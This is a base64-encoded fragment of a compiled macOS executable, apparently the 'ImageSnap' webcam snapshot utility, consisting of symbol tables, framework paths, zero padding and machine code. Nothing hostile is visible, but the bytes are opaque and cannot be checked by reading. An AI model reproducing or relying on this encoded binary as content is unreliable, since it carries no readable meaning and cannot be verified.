Lm0ALVtJbWFnZVNuYXAgaW5pdF0AK1tJbWFnZVNuYXAgc2F2ZVNpbmdsZVNuYXBzaG90RnJvbTp0b0ZpbGU6d2l0aFdhcm11cDp3aXRoVGltZWxhcHNlOl0AK1tJbWFnZVNuYXAgc2F2ZVNpbmdsZVNuYXBzaG90RnJvbTp0b0ZpbGU6d2l0aFdhcm11cDpdACtbSW1hZ2VTbmFwIHNhdmVTaW5nbGVTbmFwc2hvdEZyb206dG9GaWxlOl0AK1tJbWFnZVNuYXAgZGF0YUZyb206YXNUeXBlOl0AK1tJbWFnZVNuYXAgc2F2ZUltYWdlOnRvUGF0aDpdACtbSW1hZ2VTbmFwIGRldmljZU5hbWVkOl0AK1tJbWFnZVNuYXAgZGVmYXVsdFZpZGVvRGV2aWNlXQArW0ltYWdlU25hcCB2aWRlb0RldmljZXNdAC1bSW1hZ2VTbmFwIGNhcHR1cmVPdXRwdXQ6ZGlkT3V0cHV0VmlkZW9GcmFtZTp3aXRoU2FtcGxlQnVmZmVyOmZyb21Db25uZWN0aW9uOl0ALVtJbWFnZVNuYXAgc3RhcnRTZXNzaW9uOl0ALVtJbWFnZVNuYXAgc3RvcFNlc3Npb25dAC1bSW1hZ2VTbmFwIHNuYXBzaG90XQAtW0ltYWdlU25hcCBkZWFsbG9jXQBfZ2V0RGVmYXVsdERldmljZQBfbGlzdERldmljZXMAX3ByaW50VXNhZ2UAX3Byb2Nlc3NBcmd1bWVudHMAX21haW4AX1ZFUlNJT04AX3N0cgBfc3RyNjcAX09CSkNfSVZBUl8kX0ltYWdlU25hcC5tQ2FwdHVyZVNlc3Npb24AX09CSkNfSVZBUl8kX0ltYWdlU25hcC5tQ2FwdHVyZURldmljZUlucHV0AF9PQkpDX0lWQVJfJF9JbWFnZVNuYXAubUNhcHR1cmVEZWNvbXByZXNzZWRWaWRlb091dHB1dABfT0JKQ19JVkFSXyRfSW1hZ2VTbmFwLm1DdXJyZW50SW1hZ2VCdWZmZXIAX09CSkNfTUVUQUNMQVNTXyRfSW1hZ2VTbmFwAF9PQkpDX0NMQVNTXyRfSW1hZ2VTbmFwAF9nX3ZlcmJvc2UAX2dfcXVpZXQAX2dlbmVyYXRlRmlsZW5hbWUALVtJbWFnZVNuYXAgaW5pdF0AK1tJbWFnZVNuYXAgc2F2ZVNpbmdsZVNuYXBzaG90RnJvbTp0b0ZpbGU6d2l0aFdhcm11cDp3aXRoVGltZWxhcHNlOl0AK1tJbWFnZVNuYXAgc2F2ZVNpbmdsZVNuYXBzaG90RnJvbTp0b0ZpbGU6d2l0aFdhcm11cDpdACtbSW1hZ2VTbmFwIHNhdmVTaW5nbGVTbmFwc2hvdEZyb206dG9GaWxlOl0AK1tJbWFnZVNuYXAgZGF0YUZyb206YXNUeXBlOl0AK1tJbWFnZVNuYXAgc2F2ZUltYWdlOnRvUGF0aDpdACtbSW1hZ2VTbmFwIGRldmljZU5hbWVkOl0AK1tJbWFnZVNuYXAgZGVmYXVsdFZpZGVvRGV2aWNlXQArW0ltYWdlU25hcCB2aWRlb0RldmljZXNdAC1bSW1hZ2VTbmFwIGNhcHR1cmVPdXRwdXQ6ZGlkT3V0cHV0VmlkZW9GcmFtZTp3aXRoU2FtcGxlQnVmZmVyOmZyb21Db25uZWN0aW9uOl0ALVtJbWFnZVNuYXAgc3RhcnRTZXNzaW9uOl0ALVtJbWFnZVNuYXAgc3RvcFNlc3Npb25dAC1bSW1hZ2VTbmFwIHNuYXBzaG90XQAtW0ltYWdlU25hcCBkZWFsbG9jXQBfZ2V0RGVmYXVsdERldmljZQBfbGlzdERldmljZXMAX3ByaW50VXNhZ2UAX3Byb2Nlc3NBcmd1bWVudHMAX21haW4AX3N0cgBfc3RyNjcAX09CSkNfSVZBUl8kX0ltYWdlU25hcC5tQ2FwdHVyZVNlc3Npb24AX09CSkNfSVZBUl8kX0ltYWdlU25hcC5tQ2FwdHVyZURldmljZUlucHV0AF9PQkpDX0lWQVJfJF9JbWFnZVNuYXAubUNhcHR1cmVEZWNvbXByZXNzZWRWaWRlb091dHB1dABfT0JKQ19JVkFSXyRfSW1hZ2VTbmFwLm1DdXJyZW50SW1hZ2VCdWZmZXIAX09CSkNfTUVUQUNMQVNTXyRfSW1hZ2VTbmFwAF9PQkpDX0NMQVNTXyRfSW1hZ2VTbmFwAF9WRVJTSU9OAF9nX3ZlcmJvc2UAX2dfcXVpZXQAX05YQXJnYwBfTlhBcmd2AF9fX3Byb2duYW1lAF9fbWhfZXhlY3V0ZV9oZWFkZXIAX2Vudmlyb24Ac3RhcnQAX0NWQnVmZmVyUmVsZWFzZQBfQ1ZCdWZmZXJSZXRhaW4AX05TQXBwbGljYXRpb25Mb2FkAF9OU0ltYWdlQ29tcHJlc3Npb25GYWN0b3IAX09CSkNfQ0xBU1NfJF9DSUltYWdlAF9PQkpDX0NMQVNTXyRfTlNBcHBsaWNhdGlvbgBfT0JKQ19DTEFTU18kX05TQXV0b3JlbGVhc2VQb29sAF9PQkpDX0NMQVNTXyRfTlNCaXRtYXBJbWFnZVJlcABfT0JKQ19DTEFTU18kX05TQ0lJbWFnZVJlcABfT0JKQ19DTEFTU18kX05TRGF0ZQBfT0JKQ19DTEFTU18kX05TRGF0ZUZvcm1hdHRlcgBfT0JKQ19DTEFTU18kX05TRGljdGlvbmFyeQBfT0JKQ19DTEFTU18kX05TSW1hZ2UAX09CSkNfQ0xBU1NfJF9OU011dGFibGVBcnJheQBfT0JKQ19DTEFTU18kX05TTnVtYmVyAF9PQkpDX0NMQVNTXyRfTlNPYmplY3QAX09CSkNfQ0xBU1NfJF9OU1J1bkxvb3AAX09CSkNfQ0xBU1NfJF9OU1N0cmluZwBfT0JKQ19DTEFTU18kX1FUQ2FwdHVyZURlY29tcHJlc3NlZFZpZGVvT3V0cHV0AF9PQkpDX0NMQVNTXyRfUVRDYXB0dXJlRGV2aWNlAF9PQkpDX0NMQVNTXyRfUVRDYXB0dXJlRGV2aWNlSW5wdXQAX09CSkNfQ0xBU1NfJF9RVENhcHR1cmVTZXNzaW9uAF9PQkpDX01FVEFDTEFTU18kX05TT2JqZWN0AF9RVE1lZGlhVHlwZU11eGVkAF9RVE1lZGlhVHlwZVZpZGVvAF9fVW53aW5kX1Jlc3VtZV9vcl9SZXRocm93AF9fX0NGQ29uc3RhbnRTdHJpbmdDbGFzc1JlZmVyZW5jZQBfX19vYmpjX3BlcnNvbmFsaXR5X3YwAF9fX3N0ZGVycnAAX19fc3Rkb3V0cABfX29iamNfZW1wdHlfY2FjaGUAX19vYmpjX2VtcHR5X3Z0YWJsZQBfZXhpdABfZnByaW50ZgBfZnB1dGMAX2ZwdXRzAF9md3JpdGUAX29iamNfZW51bWVyYXRpb25NdXRhdGlvbgBfb2JqY19tc2dTZW5kAF9vYmpjX21zZ1NlbmRTdXBlcjIAX29iamNfbXNnU2VuZF9maXh1cABfb2JqY19zeW5jX2VudGVy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AAAYAAAAAgAAAAAAewIAAJYAL1N5c3RlbS9MaWJyYXJ5L0ZyYW1ld29ya3MvQ29yZUZvdW5kYXRpb24uZnJhbWV3b3JrL1ZlcnNpb25zL0EvQ29yZUZvdW5kYXRpb24AAAAMAAAAVAAAABgAAAACAAAAAAARAAAAAQAvU3lzdGVtL0xpYnJhcnkvRnJhbWV3b3Jrcy9Db2NvYS5mcmFtZXdvcmsvVmVyc2lvbnMvQS9Db2NvYQAMAAAAVAAAABgAAAACAAAAAAABAAAAAQAvU3lzdGVtL0xpYnJhcnkvRnJhbWV3b3Jrcy9RVEtpdC5mcmFtZXdvcmsvVmVyc2lvbnMvQS9RVEtpdAAMAAAAWAAAABgAAAACAAAAAAABAAAAAQAvU3lzdGVtL0xpYnJhcnkvRnJhbWV3b3Jrcy9RdWFydHouZnJhbWV3b3JrL1ZlcnNpb25zL0EvUXVhcnR6AAAADAAAADQAAAAYAAAAAgAAAAAAnwAAAAEAL3Vzci9saWIvbGliU3lzdGVtLkIuZHlsaWIAAAwAAAA0AAAAGAAAAAIAAAAAAOQAAAABAC91c3IvbGliL2xpYm9iamMuQS5keWxpYgAAAAAMAAAAYAAAABgAAAACAAAAAAFBAwAALAEvU3lzdGVtL0xpYnJhcnkvRnJhbWV3b3Jrcy9Gb3VuZGF0aW9uLmZyYW1ld29yay9WZXJzaW9ucy9DL0ZvdW5kYXRpb24AAAAMAAAAXAAAABgAAAACAAAAAAcBAAACAQAvU3lzdGVtL0xpYnJhcnkvRnJhbWV3b3Jrcy9Db3JlVmlkZW8uZnJhbWV3b3JrL1ZlcnNpb25zL0EvQ29yZVZpZGVvAAwAAABgAAAAGAAAAAIAAAAABwEAAAIBAC9TeXN0ZW0vTGlicmFyeS9GcmFtZXdvcmtzL1F1YXJ0ekNvcmUuZnJhbWV3b3JrL1ZlcnNpb25zL0EvUXVhcnR6Q29yZQAAAAwAAABYAAAAGAAAAAIAAAAAAHIEAAAtAC9TeXN0ZW0vTGlicmFyeS9GcmFtZXdvcmtzL0FwcEtpdC5mcmFtZXdvcmsvVmVyc2lvbnMvQy9BcHBLaXQAAAAmAAAAEAAAAFhjAAAkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAagCJ5YPk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